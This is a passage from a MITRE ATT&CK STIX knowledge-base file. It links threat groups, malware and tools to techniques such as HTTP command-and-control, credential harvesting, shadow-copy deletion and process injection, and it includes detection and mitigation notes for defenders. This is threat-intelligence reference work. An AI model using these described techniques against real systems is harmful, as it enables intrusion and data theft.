"description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."}, {"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T16:39:27.634Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used HTTP in communication with the C2.(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32c23405-9962-4f12-8774-fdf04328ac84", "type": "relationship", "created": "2022-03-31T12:41:24.761Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft System Services Fundamentals", "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx", "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022."}], "modified": "2022-04-01T17:11:01.132Z", "description": "Consider using Group Policy to configure and block modifications to service and other critical server parameters in the Registry.(Citation: Microsoft System Services Fundamentals)", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32c6dd7a-b03b-4f44-8215-52e9844b82a1", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]}, {"type": "relationship", "id": "relationship--32ca8347-dcb9-47c6-a3c3-23e15d03fe68", "created": "2024-03-13T20:44:28.779Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-13T20:44:28.779Z", "description": "[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can function as a stand-alone backdoor communicating over the `/tmp/clientsDownload.sock` socket.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--19256855-65e9-48f2-8b74-9f3d0a994428", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32d35bd7-e09b-4e92-b560-4adb1bac59d5", "type": "relationship", "created": "2020-01-19T16:10:15.544Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-19T16:10:15.544Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32d482c4-2c0d-4688-a38b-d73b5b2962a3", "type": "relationship", "created": "2019-06-25T12:25:23.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-09T16:57:32.309Z", "description": "Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--32d8952d-39cb-4b6b-8743-2bca4f4bed01", "created": "2022-09-28T13:59:42.091Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MagicWeb", "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.", "url": "https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"}, {"source_name": "Mandiant Azure AD Backdoors", "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.", "url": "https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T16:37:37.616Z", "description": "Monitor the hybrid identity solution in use for the loading of unauthorized DLLs. For example, monitor all PTA agent servers for the creation of DLLs as well as the loading of DLLs into the `AzureADConnectAuthenticationAgentService` process.(Citation: Mandiant Azure AD Backdoors) If AD FS is in use, monitor the AD FS server for the creation of DLLs as well as the loading of unrecognized or unsigned DLLs into the `Microsoft.IdentityServer.Servicehost` application.(Citation: MagicWeb)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32d96aee-4192-4c65-81ef-ced7256c3013", "type": "relationship", "created": "2020-02-20T15:35:00.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-20T15:35:00.358Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32dde0d4-74b9-4a01-ab13-4c227c519797", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor for unexpected modifications to file timestamps ", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--32e032f8-2c64-4716-b4e8-2804ba1739ab", "created": "2024-02-06T17:57:55.479Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-06T17:57:55.479Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32e70454-9206-4f26-b2d1-c9fa106cbd48", "type": "relationship", "created": "2021-10-14T22:21:20.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Taidoor", "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}], "modified": "2021-10-14T22:21:20.864Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) has used HTTP GET and POST requests for C2.(Citation: TrendMicro Taidoor)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32e93dd8-d0df-40d8-b85f-e10e70fc0b8f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ASERT InnaputRAT April 2018", "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}], "modified": "2020-03-18T00:48:35.850Z", "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) gathers volume drive information and system information.(Citation: ASERT InnaputRAT April 2018)", "relationship_type": "uses", "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--32e947a4-cbd3-45a8-ae74-7e51edf84d81", "created": "2021-01-27T20:56:45.177Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cyble Sidewinder September 2020", "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.", "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/"}, {"source_name": "ATT Sidewinder January 2021", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf"}, {"source_name": "Rewterz Sidewinder APT April 2020", "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021.", "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:07:47.684Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used base64 encoding and ECDH-P256 encryption for payloads.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Cyble Sidewinder September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto CVE-2015-3113 July 2015", "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}], "modified": "2020-03-18T20:44:39.391Z", "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a directory listing.(Citation: Palo Alto CVE-2015-3113 July 2015)", "relationship_type": "uses", "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32fc949c-2127-425b-9480-6d07ead49982", "type": "relationship", "created": "2019-03-11T19:24:08.170Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.583Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can ZIP directories on the target system.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--32fcbe1c-d872-46d6-a70d-90871d876610", "created": "2022-08-30T12:49:02.858Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed network connections to cloud services associated with abnormal or non-browser processes.", "modified": "2022-08-30T12:49:02.858Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--330c49c0-a785-46f9-99c1-74322e26e20d", "type": "relationship", "created": "2020-01-23T22:05:32.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-23T22:05:32.578Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--330c8e43-575f-4c9a-b6c2-def7306841ad", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. 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Retrieved November 13, 2018."}], "modified": "2020-03-16T23:35:32.865Z", "description": "[BadPatch](https://attack.mitre.org/software/S0337) stores collected data in log files before exfiltration.(Citation: Unit 42 BadPatch Oct 2017)", "relationship_type": "uses", "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--33119ed3-3f9c-43b1-a371-53a1cfdce144", "created": "2023-04-10T17:11:05.607Z", "revoked": false, "external_references": [{"source_name": "Kaspersky LuminousMoth July 2021", "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.", "url": "https://securelist.com/apt-luminousmoth/103332/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T17:11:05.607Z", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has created a link to a Dropbox file that has been used in their spear-phishing operations.(Citation: Kaspersky LuminousMoth July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "target_ref": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--331528b5-fe7e-4ca4-ad3a-c18b20298f28", "type": "relationship", "created": "2019-04-23T14:59:04.113Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2020-03-16T17:09:47.422Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-RunAs to make tokens.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell Sakula", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. 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(Citation: FireEye MESSAGETAP October 2019)", "relationship_type": "uses", "source_ref": "malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--331c41dc-7452-4328-a370-7556f659e8cb", "type": "relationship", "created": "2020-08-12T19:32:56.400Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary Verclsid.exe", "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/", "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020."}], "modified": "2020-08-12T19:34:09.254Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used verclsid.exe to download and execute a malicious script.(Citation: Red Canary Verclsid.exe)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--331da7a8-d1ad-4feb-892a-c440aa5eb810", "created": "2021-10-01T01:57:31.713Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ATT TeamTNT Chimaera September 2020", "description": "AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.", "url": "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T19:39:12.869Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has used malware that adds cryptocurrency miners as a service.(Citation: ATT TeamTNT Chimaera September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--331e59e9-0d10-4c2d-ba92-e8eb0de1cc95", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. 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Retrieved February 26, 2018.", "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"}], "modified": "2020-03-19T22:56:03.058Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--331e8ea2-15c4-4cba-8a26-163b24d819b7", "type": "relationship", "created": "2022-01-10T19:52:49.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:19.051Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can delete shadow volumes using <code>vssadmin.exe</code>.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--331ebf73-af72-4121-815a-d10392ac75ab", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", "source_name": "Unit 42 C0d0so0 Jan 2016"}], "modified": "2019-04-25T11:39:52.152Z", "description": "[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the victim\u2019s username.(Citation: Unit 42 C0d0so0 Jan 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--331f7990-d817-49ec-9d55-c4c64da7f4a6", "type": "relationship", "created": "2021-09-22T21:57:30.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}], "modified": "2021-10-14T18:34:24.287Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) has modified registry keys for persistence, to enable credential caching for credential access, and to facilitate lateral movement via RDP.(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--331fcf7d-5663-40a9-b86c-be005221e882", "type": "relationship", "created": "2020-11-10T20:29:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-10T20:29:51.872Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) can use MSI files with embedded VBScript for execution.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--33201f98-6367-4f36-a581-98fd4d1203fa", "type": "relationship", "created": "2021-02-03T16:59:34.743Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ Iran Indictments March 2018", "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}, {"source_name": "Phish Labs Silent Librarian", "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", "description": "Hassold, 